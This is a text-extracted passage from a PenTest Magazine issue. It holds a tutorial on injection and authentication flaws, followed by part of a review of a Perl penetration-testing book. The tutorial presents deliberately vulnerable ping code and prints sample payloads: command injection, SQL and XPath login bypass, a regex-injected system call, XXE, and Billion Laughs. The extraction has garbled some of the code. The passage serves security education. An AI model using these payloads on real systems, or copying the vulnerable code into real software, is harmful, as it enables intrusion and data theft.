That is the URL to which our application is binded now. Do not be confused by the 0.0.0.0 address —
it is just a localhost. So you can point your browser to localhost:8080 and it will work.
The entire structure in file system looks like this:

81

As for the program code, it is pretty simple, but I will explain some things for some of you who are not
familiar with such things.
The key steps in this script are:
render = web.template.render(‘templates/’)

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
which attachs templates folder that we created in filesystem.
form = web.input(name=”google.com”)

This one tells it to take the ‘name’ argument from the received request.
p = os.system(‘ping -c 3 ‘ + servername);

And the main line here is actually making ‘ping’ command. It constructs full command by adding the
server name to predefined part of command and runs it.
Now we can look at our application at work. Point your browser to http://localhost:8080.

You should see:
Server output:
OK!

on the page. All works fine now.
If you look at the console where our application is running you will see ping output there:
1. # icewind at IcewindDale in ~/python_workshop/a1_ex [11:44:07]
2.
3. $ python bin/app.py
4.
5. http://0.0.0.0:8080/
6.
7. PING google.com (94.231.112.234): 56 data bytes
8.
9. 64 bytes from 94.231.112.234: icmp_seq=0 ttl=62 time=1.719 ms
10.
11. 64 bytes from 94.231.112.234: icmp_seq=1 ttl=62 time=1.929 ms
12.
13. 64 bytes from 94.231.112.234: icmp_seq=2 ttl=62 time=4.863 ms
14.
15. --- google.com ping statistics --16.
17. 3 packets transmitted, 3 packets received, 0.0% packet loss
18.
19. round-trip min/avg/max/stddev = 1.719/2.837/4.863/1.435 ms
20.
21. 127.0.0.1:49705 - - [02/Apr/2015 11:44:24] “HTTP/1.1 GET /” - 200 OK
22.
23. 127.0.0.1:49705 - - [02/Apr/2015 11:44:24] „HTTP/1.1 GET /favicon.ico” - 404 Not
Found

82

As we are not sending any arguments to our application, it uses the default value predefined in code:
google.com. So, this run means google.com is up and running, ping command done. Now let’s add
arguments to this requests. Test it yourself by trying different server names.
And here is the same thing in PHP. As for PHP version, I assume you are running web server
on localhost and PHP installed in it.
So, index.php could be like this:
1.
2.
3.
4.

PenTest Magazine |

<?php
$servername = «google.com»;
if(isset($_REQUEST[‘name’])) {
$servername = $_REQUEST[‘name’];

Penetration Testing in Practice | PenTest Magazine
5. }
6. system(‚ping
7. if($retvalue
8. echo «Server
9. }
10. else {
11. echo «Server
12. }
13. ?>

-c 3 ‚ . $servername, $retvalue);
== 0) {
is OK»;

is DOWN or something gone wrong»;

The result is the same as with Python version.
After that, let’s look closely at the problem in this application. The main is using data from the
request in constructing system command. The user has control of this data and can manipulate
in a way he wants.
Imagine this application is running as a public service on your server. Now a hacker comes to it,
what does he see? He sees that you are taking server name from him, and, of course, the logic
of the application is such that you have to use user data in constructing command. With this in mind,
of course he will try to check if you validate his input or not.
And here is his first possible try:
http://localhost:8080/?name=google.com|whoami

The hacker will see the same output. But now it will have more meaning for him. He has injected
another command in the argument, and is still getting OK as a result, no error. This means that the
command constructed with this data is still valid and runs OK. So, that’s cool, however the hacker
does not see the output of commands. But who said that? He can write output to files!
Look at this request:

83

http://localhost:8080/?name=google.com|whoami>user.txt

and then point your browser to:
http://localhost:8080/user.txt

So, I think you get the idea. The hacker can inject shell commands in input. And this could be not just
simple whoami command. It definitely will be a shell, it could even be a script…a real big rootkit
Now imagine the next steps of the hacker. I’m pretty sure that the next injected command will be
the one adding a user, or printing config files to files in order to read them and understand details of
your server machine. And then one could write a big rootkit script, place them on his public server,
and then inject command which will download and execute it. And that’s it! The hacker already owned
almost your entire server. Just that simple!

SQL Injection
This type of injection is a very popular one. The popularity comes from a wide-spread use of SQL
databases. The main goal of SQL injection is the same as an injection in general — the hacker
somehow inputs his data and this data is interpreted as a part of SQL query.
Let’s look at the example.
We will take the previous example with some changes. Imagine now that we have some page on our
site, where we show a list of servers to ping. The user can pick any and our application will try to ping it.
And in our application, we get the ID of server user picked up, looking into a database to get the
address of that server and then making ping.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
So, on a page we have something like:
Server
Server
Server

Server

1
2
3
N

and every record in this list is a link. The link is quite simple:
http://localhost:8080/?id=1

That means every link contains the unique identifier of a database record.
Ok, that’s works fine.
In our application now, we must make some changes to handle this. As we must retrieve the
servername from database, we need to query for it.
1. <?php
2. // …
3. if(!isset($REQUEST[‘id’]))
4. die(‘No identifier provided’);
5. // ...
6. $id = $_REQUEST[‘id’];
7. $sql_query = ‚SELECT * FROM servers WHERE id=’ . $id;
8. $result = mysql_query($sql_query);
9. // …
10. // handing the results
11. // …
12. ?>

84

The $id here is a unique server identifier that we used in our links on the page. It comes from the URL.
Now consider the hacker sees the links and will try to put something unnatural in your ID argument.
For example, the first try of SQL injection is commonly like this:
http://localhost:8080/?id=’

Just a quote. The result of this request will be an error. The error occurs because of invalid SQL query
constructed:
SELECT * FROM servers WHERE id=’

The syntax here is invalid as you see. The next thing a hacker does when he know that there is
something wrong with input validation in your application is to try the next things on it and look
what the result would be. For example:
http://localhost:8080/?id=1+1

and compare results with request of
http://localhost:8080/?id=2

If they are equal, it indicates that you are processing the input incorrectly and injection can be done.
In this case, there’s no strict interpretation of input as a string, the numbers got summarized.
Then usually comes the real SQL injection like:
http://localhost:8080/?id=1 UNION SELECT passwd FROM users

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
or something like this. It is always specific to the application. The hacker needs to know how many
fields you are selecting in your query to make the UNION statement possible, he needs some sort
of output to see the results (place on resulting page where there is definitely database-selected data).
But on modern sites it is not a problem; almost every element on it is dynamic and comes from a
database, especially when taking into account how common it is to use CMS in our days (WordPress,
Joomla, Drupal, … and many, many others). All CMS store data in a database and then get it from
there to present on the page. So using a database now is a must on almost every site.
Here is another great example of how terrible a SQL injection can be for your application. Assume
you decide to sell your previously written application (our ping service) for a little fee (I can’t propose
why and for whom, let’s think for people in other countries banned by IP or something, does not
matter). After that, you made some kind of authentication or possibly a personal account for every
customer. Now they have their personal login/password and can login to their personal accounts.
All accounts usually stored in the database, and a poorly written SQL query for authentication can
be bypassed in five minutes. For example,
http://localhost:8080/login/?login=user1&password=mypass

is a normal login url for your application.
But this URL:
http://localhost:8080/login/?login=admin’–&password=whatever

will lead to a query like this:
SELECT * FROM users WHERE login=’admin’ –‘ AND password=’whatever’

And the hacker will now log into admin’s account, without even checking for a password. This query
just tells the database to get the admin user’s record and the application thinks that it is the record
for user provided pair of login and password. The hacker inserted a comment sign there and the rest
of query containg password checking is now considered as a comment by an SQL engine.

85

Code Injection
This injection type is an injection of external code somehow in a script process and processing it.
In code injections, hackers try to make your application include their external file with malicious code
and run it. This typically happens when applications use user input somehow in identifying what code
file to include or use in constructing path to code files.
For example, we can consider a site consisting of several pages and the ability to switch between
them. When the developer of such application is not keeping security aspects in mind, it could lead
to big security holes. Let’s look at the example app that uses page switching and the target page
is provided in URL.
Like this:
• http://mysite.com/index.php?page=index
• http://mysite.com/index.php?page=contacts
and so on..
And on the server side, there’s a code part which takes the ‘page’ argument and includes:
1.
2.
3.
4.
5.
6.

<?php
// …
$page = $_REQUEST[‘page’];
include($page);
// …
?>

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Here the application expects that all pages are available in the same folder, and includes the required
page file in the code. And that is wrong, because this application is taking the filename from user
input and this input data could be malicious. For example, a hacker may provide you with a different
name from the expected one. He could start to try various filenames and look what changes.
Then he definitely will try to include a remote file. And if your web server allows remote includes
— that one could execute any code he wants on your server. Of course, there are limits by context
of execution. This code is limited to user context of account running process that is interpreting this
code. If it is all defined correctly on your web service, this attack probably will not lead to whole server
owning, but will lead to full application compromising for sure.

Xpath Injection
This type of injection is a bit similar to SQL injection.
Consider the sample application that does authentication. The app will use an xml database storage
having structure like this:
1. <Employees>
2. <!-- Employees Database -->
3. <Employee ID=”1”>
4. <FirstName>Johnny</FirstName>
5. <LastName>Bravo</LastName>
6. <UserName>jbravo</UserName>
7. <Password>test123</Password>
8. <Type>Admin</Type>
9. </Employee>
10. <Employee ID=”2”>
11. <FirstName>Mark</FirstName>
12. <LastName>Brown</LastName>
13. <UserName>mbrown</UserName>
14. <Password>demopass</Password>
15. <Type>User</Type>
16. </Employee>
17.
18. </Employees>

86

Of course, the first thing to mention here is DO NOT save passwords in plain text!
But, for this example, it is not a goal.
If we have two fields (what is usual), username and password, the bypassing is simple:
Username: ‘ or ‘1’ = ‘1
Password: ‘ or ‘1’ = ‘1

will lead your application to final search string:
string(//Employee[uname/text()=” or ‘1’ = ‘1’ and passwd/text()=” or ‘1’ = ‘1’]/account/
text())

And a hacker becomes an admin!

RegEx Injection
This type of injection refers to cases when an application somehow uses input data from the user as a
part of a regular expression.
Consider we have an app which allows users to change their passwords and all user data is stored
as an xml file or xml database.
In this case, the user provided variable becomes a part of the replacement term of the call to preg_
replace() (in case of using PHP). Therefore, the code is vulnerable to Regular Expression Injection.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
Consider the following password being sent to the script in $ _ POST[‘newpassword’]:
‘.system(‘reboot’).’

Then, the replacement term turns out as:
“‘\\1′.strtolower(”.system(‘reboot’).”).””

So the call to the system() function was injected in the application. While this specific attack will
have no effect on most systems since the user PHP is running under does not have the rights to call
reboot, the implications of such a security vulnerability are obvious, since PHP functions and also
system calls can be executed if not deactivated in the configuration.

XXE (XML External Entities) Injection
This type of injection occurs when one includes abnormal xml input data and this leads to processing
of external xml data. This, in turn, leads to data disclosure, remote code execution, port scanning from
the perspective of compromised machine (to cover traces), denial of services…
As OWASP stated, the risk factors for this vulnerability are:
1. The application parses XML documents.
2. Tainted data is allowed within the system identifier portion of the entity, within the document type
declaration (DTD).
3. The XML processor is configured to validate and process the DTD.
4. The XML processor is configured to resolve external entities within the DTD.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or
private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs
relative to the application processing the XML document, an attacker may use this trusted application
to pivot to other internal systems, possibly disclosing other internal content via http(s) requests.

87

In some situations, an XML processor library that is vulnerable to client-side memory corruption
issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution
under the application account. Other attacks can access local resources that may not stop returning
data, possibly impacting application availability if too many threads or processes are not released.
As an example, we could look at this case:
<!ENTITY xxe SYSTEM “file:///dev/random” >]><foo>&xxe;</foo>

This is how a local resource can be accessed.
And this is an example of how Denial of Service could be made — an attack called Billion Laughs:
1. <?xml version=”1.0”?>
2.
3. <!DOCTYPE lolz [
4.
5. <!ENTITY lol “lol”>
6. <!ELEMENT lolz (#PCDATA)>
7. <!ENTITY lol1 „&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;”>
8. <!ENTITY lol2 „&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;”>
9. <!ENTITY lol3 „&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;”>
10. <!ENTITY lol4 „&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;”>
11. <!ENTITY lol5 „&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;”>
12. <!ENTITY lol6 „&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;”>
13. <!ENTITY lol7 „&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;”>
14. <!ENTITY lol8 „&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;”>
15. <!ENTITY lol9 „&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”>
16. ]>
17. <lolz>&lol9;</lolz>

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
The Billion Laughs Denial-of–Service (DoS) attack consists of defining 10 entities, each defined as
consisting of 10 of the previous entity, with the document consisting of a single instance of the largest
entity, which expands to one billion copies of the first entity.
So, as you see, injection in general is a very common flaw in the wild. There are many variants of
injections. Hackers usually try to inject malicious things in almost every place they find acceptable.
The important thing here is a policy of showing errors in your applications. If your application shows
every error it encounters on the page then hackers will see reactions on their actions. And this is not
good. You shouldn’t make their life easier!
Make it harder to complete an injection! If the application is not showing any response to the user,
even if injection is possible, and possibly some of the hacker’s input worked, the hacker can’t define if
it worked or not. Injection vulnerability remains, of course, but totally blind injections are much harder
to complete.

A2 Broken Authentication And Session Management
The second most highly ranked web security risk, according to the Open Web Application Security
Project (OWASP), is broken authentication and session management. That risk encompasses several
security issues, all of them having to do with establishing and maintaining the identity of a user.
OWASP described broken authentication and session management as follows:

1. Storing user credentials without hashing or encrypting them
Database security breaches are undesirable to begin with, but they are absolutely devastating
when filled with plaintext passwords. Even if you force users to change their passwords after they
are exposed, the tendency of many people to reuse passwords means you may have made them
vulnerable on websites other than your own.
This may be solved by protecting user passwords as critical data. Normally it is best to use a strong
hashing function with unique salts.

88

2. Easily guessed passwords
This is an old problem. By it is still here, in 2015. With the popularity of mobile devices, passwords of
many users returned to simplicity. This is caused by the difficulty of typing passwords on a mobile phone’s
keyboard. Web applications are accessed now not only via common browser but via mobile browsers
too. And the typical user thinks if he applies a strong password, with many characters or many different
alphabets, it will be a disaster to type it on a mobile phone. So this is still a problem, an actual problem.
A hacker can compromise weak passwords with either a brute force attack or a dictionary
attack. The term “dictionary attack” can be misleading, as it has to do with lists of common, known
passwords, not merely human language dictionaries. In fact, solutions that thwart those lists can be
surprising. It is extremely difficult to force the user to pick a good password, so the most common
approach is to require a minimum length and usage of uppercase and lowercase letters, numbers,
and symbols. However, it is good to provide education wherever possible. One good strategy for
password selection is to use a sentence acronym.

3. Poorly secured password change features
If a user leaves a machine unattended while logged in, a nearby attacker may attempt to physically
access the account and change the password. If the password change feature does not require reauthentication, this is an easy process.
What you can do
When users try to change their password, always require them to re-authenticate themselves
first. Ideally, they would be required to enter their old password and provide a secondary form of
authentication, such as answering a security question.

4. Poorly secured password recovery features
Similarly, password recovery options sometimes lack strong authentication measures. A common
practice is to ask security questions, but weak questions may be answerable by anyone who has some
familiarity with the user. As one white paper puts it, “It’s amazing how many institutions believe that your
date of birth and your mother’s maiden name are sufficiently obscure to protect your bank account.”

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
What you can do
Password recovery is a challenging thing to secure. Many recovery features send users an email.
In this case, never give the users their previous password, as you have no way of knowing how much
you can trust users’ email accounts. Besides, if you’ve properly hashed the password, you shouldn’t
be able to do that anyway. A preferable solution would be to provide a single-use link (or, alternately,
a single-use temporary password) to a web page that lets the user create a new password. Ideally,
secondary authentication would also be required. See this white paper for more information.

5. Session IDs exposed in a URL.
For example, an airline website might use the following URL: http://example.com/sale/saleitems?jsessi
onid=2P0OC2JSNDLPSKHCJUN2JV. Users may wish to share information about the sale on that page
with their friends, so they email them the link. When the friends follow the link they are unknowingly
gaining access to the entire authenticated session, complete with credit card info.
What you can do
Never put the session ID in a URL. Use POST rather than GET.

6. Session IDs are vulnerable to session fixation attacks.
Session fixation occurs whenever attackers control the issuing of a session ID to the user. In doing
so, the attacker does not need to obtain the session ID at all, because they created it themselves.
Suppose the airline in the previous example not only exposed a session ID in the URL, but that it did
not require that ID to be generated from the server itself. Attackers could simply construct that link
themselves without a session even being active, then email it to the user from an account claiming
to be owned by the airline itself. The user would click the link, thus beginning a new session with an
ID created by the attackers. The attackers follow the same link, gaining access to the session after the
user authenticates.
What you can do
Make certain that every session ID is generated on the server, and never let users set one themselves.
See Section 5 of this white paper.

89

7. Session IDs don’t reasonably timeout or sessions aren’t properly invalidated
during logout
Long or non-existent timeouts leave sessions vulnerable to reuse by people other than the user. For
example, users at a public computer might close the browser, thinking that would automatically log them
out, but an attacker might re-open the browser some time afterward, re-entering the same session.
In another scenario, the user might actually “log out”, but the session ID would remain in existence,
allowing an attacker with access to the ID to re-enter the session without re-authenticating. Session IDs
exposed in URLs (see number 5 above) would be particularly vulnerable to such an attack.
What you can do
Impose strict timeouts on session IDs, and rotate them on a regular basis if a user is actively using the
session for an extended period of time. Ensure that session IDs are rejected by the server after logout.

8. Session IDs aren’t rotated after a successful login
In this case, the session ID exists in two different contexts: an authenticated state and a nonauthenticated one. An attacker could start a session, continued through login by a legitimate user,
and then re-use the same session to access the user’s account.
What you can do
In addition to any regular session ID rotation, set a new ID every time there is a major transition,
including authentication and switching to SSL.

9. Passwords, session IDs, and other credentials are sent over unencrypted
connections
Unencrypted transmissions allow monitoring by anyone with access to the connection itself. Besides
the possibility of someone stealing the credentials themselves, this opens up a number of other
dangers, including man-in-the-middle and replay attacks.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
What you can do
Any credentials must be transmitted over a secure, encrypted connection, preferably SSL.
Avoid homegrown security and encryption methods.

10. Browser caching is enabled
After a user logs out, an attacker can use the same machine and the browser’s history to go back
to the login page and re-use the cached credentials.
What you can do
Take measures to disable browser caching. Use no cache tags and disable autocomplete whenever
possible.

Finally
So, there are many, many implementations of this vulnerability. The most common one is session
fixation. Session fixation is the type of vulnerability when your web server does not correctly handle
user sessions.
In this case, the application on the server side does not create a new ticket for user and that is the
problem. In theory, if you think about it — how the process of authentication if going on.
First, let’s take a simple case when you authenticating users via login/password passphrase. So,
your user provides the credentials, next, the web server must validate it. While validating it, the server
must compare hashes of provided credentials with pair hash stores in a database or in a file.
Then, if comparing is successful, the application should gave user a ticket. This ticket identifies the
user in a system. It is his session key.
Now, consider someone wants to hack this architecture. What can he do? Honestly, his steps are
not complicated.
For example, let’s say your application supports a session fixation. Session fixation is a feature
that allows users to provide a session key from another place and still gain access to the main user
session.

90

This vulnerability becomes exploitable when your application does not check anything after
obtaining the session key. And many sites do it it the exact that way. If you got the session key, then
you are authenticated.
But in real life, that is not true. Your session key can be hijacked or sniffed! And that case is real in
public wi-fi or some net where anyone can listen to network traffic.
The next common thing is poor implementation of functions like password changing or password
recovery.
If some system provides you password recovery — test it! There are many of them who just send
you your password by your request. Commonly, it is sent to the email on which the account is
registered. So, think, if they sent you your password, then they keep it for sure! And another not
pleasant thing, they probably keep it in clear text.
And that leads to at least two problems:
• First, you should understand that all persons in that company probably have access to your data
• Second, you should be aware that if that company is compromised, all your data will be accessed
by hackers, and your password is in clear text too.

 Summary
Securing authentication and session management is a broad, complex area of security, but it is
essential to preserving the identity and trust of the user. Always follow good practices to protect
your users’ identity, including their passwords and session IDs. Hash passwords, encourage good
password selection, require re-authentication to change passwords, force users to change their
passwords when trying to recover accounts, never put a session ID in a URL, ensure all session

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
IDs originate at the server, timeout and rotate session IDs at intervals and security context changes,
use safe encrypted connections, and disable browser caching.
Educate both developers and users about good security practices whenever possible, and be quick
to patch vulnerabilities as soon as you are made aware of them. It is vital that your users be able to
trust you with their information.
So, what do you think about properly storing the credentials? There is more to think about than you
might originally imagine. Here are some basic measures to consider:

1. Initialize
To initialize the process of resetting their forgotten password, have users only enter the email address
that they believe is associated with the account. Don’t provide any feedback on whether the specified
email address is a valid address or not. Provide only an immediate notification to the end user that
instructions for resetting the password was sent to the specified email address.

2. Notify
Immediately send out an email to the specified account despite whether the email is a legitimate
address or not. In case the email was not legitimate, the email would be a notification to the email
holder specifying that no account was found associated with the email. In the case where the email
was legit, specify the instructions for continuing the password reset process.
Out of the gate, this is going to be controversial for some, shouting a user-experience foul.
The small inconvenience where the user must submit another email address due to a typo or
incorrect remembrance of what email address was used to register is little when we think about.
This small inconvenience affords us additional protection for our users. The larger issue here is
allowing a malicious party to harvest information on what valid users exist in our system (including the
one experiencing the small inconvenience). The ability to harvest legitimate accounts and information
about those accounts is a serious error and will be talked about later at length.
3. Protect the current account

91

There should be no action taken against an account where a password reset process has been
initialized. To be more precise, no lockout of the account or no re-generation of a new password.
Nothing. A form of Denial of Service attack (DOS) can be direct or in mass if any action is taken
against an account where only the process of resetting the password has been initialized.
4. Tokenize
Generate a secure token that can be used to identify the reset request. This is persisted with the
associated account ID and time stamp of when the request was initialized. This might go without
saying, but the token does not represent any sensitive data and is only an obfuscated reference
to the request record that should not be able to be guessed.
5. URL
Legitimate email addresses (email addresses found in the system) should contain a URL link to
continue the password reset process. The URL will contain the token, that will be used to look up
the password reset request record for additional information. Most importantly, this must be a secured
URL using HTTPS. We all saw many disclosures about the man-in-the-middle vulnerabilities when not
securing all aspects of a sensitive transaction and this is no different. It might go without saying, but
do not provide the user’s current password in the email.
We might go as far as not even providing the associated username in the email (if the account
username isn’t the email address), especially, if you will require further user validation before allowing
the user to specify a new password (talked about later in the process).

6. Request Validation.
Following the URL link in the email will land them on the HTTPS secured form. Before being able
to take the next steps in the password reset process, we need to validate that the token provided
by the URL is still valid.
The time that the request was initialized was captured with the password request record earlier
in the process. At this point, you need to apply your business rules for how long a password request

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
is valid, whether that is one hour or more. If the time has expired, notify the user that this process
must be restarted and discard the reset request record.

7. User Verification
At this point in the process we have relied completely on the security of the email address. The user
is either a legitimate user or someone has managed to compromise the associated email account.
Here is where you need to determine what level of further validating the user is required.
FluffyKittenWishList.com might not require the same level of validation that your financial institute
requires.
There are a number of different forms of validation such as Two-Factor Authentication and Secret
Questions/Answers. Since 2FA is in itself a diverse and deep subject, we’ll talk shortly about Secret
Questions/Answers.
If you determined to further validate the user, they need to answer one or more questions that they
had chosen and answered at some point in the lifetime of their account. The key however, is that we
don’t display only the questions they chose to answer. Require the invalidated user to choose from
the list of possible questions the correct selected question and provide the correct answer.
If you are using secret questions and answers, the answers need to be stored just as you would
with passwords. Many have written long ago how secret answers to secret questions are just another
form of a password, so they need to be cryptographically secured.

8. Reset Password
After the user has successfully validated their legitimacy (or in the case where they are not required),
they would be presented with the ability to provide a new password (and complementing password
confirmation). However, once this has been done, we don’t automatically log them in.

9. De-Tokenize
After a successful password reset, destroy the associated password request record that was retrieved
using the URL provided token.

92

10. Notify, Again
Once the password reset is successful, send a second email to the same email address notifying
that a successful password reset has occurred on the associated account. This might not seem
so intuitive, but engineering the compromise of someone’s account by someone other than the
legitimate owner happens all the time.
So, notifying the user account of these types of activities can help mitigate further exploitation of
someone’s account in the case of an illegitimate password reset.

11. Login
As it was mentioned earlier, when a password is successfully reset, we don’t automatically log them in
but redirect them to the login page and require them to login.
The above is a topic that can be extensively written about (and has been) but WE have distilled it
down to a few bullet points. Therefore, there are quite a few very important considerations that need to
be made that weren’t mentioned already, such as:
• Logging, lots of it. Logging every aspect of the reset process (note: never log the password).
• Means for legitimizing the password reset request with CAPTCHA’s or throttling requests, usually
attempts by harvesters to validate the existence of accounts.
• How to handle cases where username and email are separate but the user has forgotten their
associated username – when would be a valid opportunity to divulge this information?
So, now you should be aware of all things according to A2 — implement your authentication and
session management properly!

by Vladimir Korennoy
PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

Penetration Testing
with Perl

D

ouglas Berdeaux has written an excellent book, excellent from quite a number of points of view,
some of which I will address. Packt Publishing have done a great service making this and other
available at their web site. It is one of many technical books there that have extensive source
code and are good ‘instructors’.

93

Penetration Testing with Perl is available as both a PDF file and as an e-book in Mobi and epub
formats.
It is one of over 2000 instructional books and videos available at the Packt web site.
I read a lot on my tablet but most of the ebooks I read are “linear text” (think: ‘novels’, ‘news’). A
book like this is heavily annotated by differentiating fonts and type and layout. How well your ebook
reader renders that might vary. None of the ones I used were as satisfactory as the PDF. For all its
failings, if you want a page that looks “just so” whatever it is read on, then PDF still wins out. For many,
this won’t matter since the source code can be downloaded in a separate ZIP file.
Of course you may be like me and prefer to learn by entering the code by hand so as to develop
the learned physical habit which you can then carry forward. You may also prefer to have a hard copy
version of the book rather than use a ‘split screen’ mode.
This is not a book about learning to code in Perl, or earning about the basics of TCP/IP. Berdeaux
himself says in the introduction:

|

This book is written for people who are already familiar with basic Perl programming and
who have the desire to advance this knowledge by applying it to information security
and penetration testing. With each chapter, I encourage you to branch off into tangents,
expanding upon the lessons and modifying the code to pursue your own creative ideas.

I found this to be an excellent ‘source book’ for ideas and worked though many variations of the
example code. This book is a beginning, not a end point.

That was Then, This is Now
Pen testing has come a long way since those outspoken pioneers of InfoSec, Marcus Ranum and Bruce
Schneier, naysayed it back in 2007 and 2008. See here, and here, and here, and especially here.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Basing a criticism on a ‘penetrate and patch’ view of pen-testing is, of course rather biased. So
is basing it on the idea that these are tools for malicious hackers. That has long since not been the
case. Today, penetration testing is a technique approved by the financial community as part of the
PCI:DSS certification.
In one sense its not ‘penetrate and patch’ so much as a classical Red-team. Blue team codes;
red team debugs by breaking the code. A quite acceptable approach to software development.
Manufacturers crash car to prove their safety. Most materials are ‘stress-tested’ to ensure they won’t
break during normal and even exceptional use. Pen-testing to prove correctness and compliance and
resilience is perfectly valid.

Who This Book is For
Douglas Berdeaux has chosen to take the reader into the dirty byte-level depths of cracking WPA2,
packet sniffing and disassembly, ARP spoofing (the right way), and performing other advanced
tasks, such as blind and time-based SQL injection. Parts of the book are Perl code that mimicked
the functionality of other information security programs, so one can see how it all fits together.
Although Perl was originally about scanning text and building reports, this is something quite different,
dramatically different, and shows what Perl is really capable of.

I

t wasn’t until several years prior to writing this book that I truly began to understand
the harmonious nature of Perl, Linux, and information security. Perl is designed for
string manipulation, which excels in an operating system that treats everything as a file.
Rather than writing Perl scripts to parse the output from other programs, I was now writing
independent code that mimicked the functionality of other information security programs.
At this stage, I had a newfound appreciation for the power of Perl, which opened the door
for endless opportunities, including this book.

I myself adopted Perl in 1989 with version 3 and built a complete ISP management, tracking and
reporting/billing system. I found that it had all the expressive power of C but handled many matters
such as string manipulation and patter matching much more gracefully. And then there was the CPAN
repository! Perhaps I should fault Berdeaux for not emphasising CPAN more, but to be fair, CPAN
deserves a book of its own and is a living, growing subject.

94

This is certainly a ‘how-to’ book and Berdeaux makes it quite explicit that the examples and
exercises are for the real world. He suggests a test-bench with a 802.11 Wi-Fi router that is capable
of WPA2 encryption, two workstations (which can be virtual if networked properly) that will act as an
attacker and a victim, a smartphone device, an 802.11 Wi-Fi adapter that is supported by the Linux
OS driver for packet injection, network shared storage, and a connection to the Internet.
All that being said, the book is an excellent example of how to design, write and document open
source code. So much open source code is just presented and difficult to understand or support.
The author has not documented his design decisions, not documented what the various code
sections are trying to do and how that way of doing it rather than another was chosen. In the literary
world we often have early manuscript that show revisions, author’s notes and such like. All too often
with code we only see the end result. Berdeaux unfolds all this and the result is very readable. This is
the kind of book that could be used on a course on either Perl or Pen-testing because it is practical
and will engage the student’s interest.

What’s Inside
Chapter 1 takes you though the basics of Perl and ends up discussing CPAN And showing you how to
download LWP::UserAgent, which plays a key role in the code examples that follow. Readers already
familiar with Perl can page though this quickly.
Chapter 2 deals with shell programming under Linux using BASH. Again the basics are covered and
those with shell experience can move on quickly.
The only parts of importance to those with experience is some setup of the environment for what follows.

Chapters 3 and 4 deal with the wired environment before going on to the wireless environment in
chapter 5.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
Chapter 3 is basically about replicating the functionality of NMAP using Perl. While this seems trivial
it introduces many concepts and tools that will be used later. Using them in this context makes them
more visible and understandable than simply blindly using them later with no explanation, and also
shows how Perl can be used for network functions.
Along the way we meet many other network tools available under Linux: ettercap and wireshark/
tshark, smbtree, hping3, arp. Of course it helps if you know the basics of how the TCP
handshake works and of course the Ethernet, IP, and TCP layers.

Chapter 4 addresses packet capture and filtering with Perl. Those who have a thorough knowledge
of the TCP protocol suite and tools such as wireshark can move quickly though this as much of the
first part of this chapter is how to take packets apart using Perl. We then move on to the application
layer and so into how to set up a “Man in the Middle” (MitM) attack. Berdeaux emphasises the
importance of information gathering and uses the example MAC/IP address determined earlier to
illustrate a hijacking with ARP spoofing.
In Chapter 5 we move on to Wifi networking with 802.11 and how to disassemble 802.11 frames.
A more detailed knowledge how 802.11 is managed is the basic knowledge requirement here, though
Berdeaux does cover what is needed for his examples. Once again a variety of Linux networking
tools, this time the wifi tools, are used alongside or within the Perl code.
Having laid these foundations Chapter 6 moves on to applying these skills in the first state of a
penetration test, the gathering of information, in this case Open Source information (OSINT) such as
email addresses and DNS information. This covers not only obviously googling but also searching
social media sites such as Google+, LinkedIn, Facebook and others. This section shows the power
of Perl’s regular expression mechanism to filter out the desired information from what might be a
‘fire-hose’ of results. As humans we look at only the first few results of a google query, probably not
noticing that there are many thousands of hits. A Perl based scanner can dive deeper.

Chapter 7 goes into detail about the powerful hack SQL Injection, making the point that SQL
injection is one of the longest-running vulnerabilities in IT, only bettered by Buffer Over-run. It is a
demonstration that some web technologies, including languages, are inherently fragile and simple
mistake can have dramatic consequences.

95

Chapter 8 looks at other web based vulnerabilities and how to exploit them, such as cross site
scripting (XSS), file inclusion and others. Berdeaux makes these all very clear and simple and shows
how Perl really is an easy to use tool, a hackers “Swiss Army Knife”.
Chapter 9 deals with password cracking. While Perl isn’t as fast as lower level languages for
brute force cracking, Berdeaux makes the very valid point that there are better ways, making use
of precomputed tables and of leaked information, the Internet equivalent of the yellow stickie under
the mousepad. Once again google comes into play. In one sense this book is as much about using
google as it is about Perl!
It is in the section on WPA – wifi – cracking that Berdeaux makes Perl shine. He begins with a clear
explanation of the protocol and then carefully explains the code and how it works. He makes it look very
simple and straight forward, an excellent piece of writing about something that can be very confusing.
“Metadata”, addressed in Chapter 10 has been in the news recently due to revelations about national
security agencies collecting communication information. “Metadata” refers to the contextual information
rather than the actual content, the who, where, what. The metadata of a photograph can reveal where
and when it was taken, how it was edited. How this information can be exploited is going to depend on
the context. One might imagine law enforcement using metadata to trace child pornographers.
Files other than photographs also contain metadata. Examples include many of the types of
documents stored on web sites and that can be found by searching with google and specifying the
filetype. One of the most common of these is PDF, and Berdeaux uses this as an example too.
In a general sense, metadata is an interesting form of information ‘leakage’ simply because it is
not visible. An “out of sight means out of mind” phenomena, added to that fact that many people are
simple ignorant of its existence.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
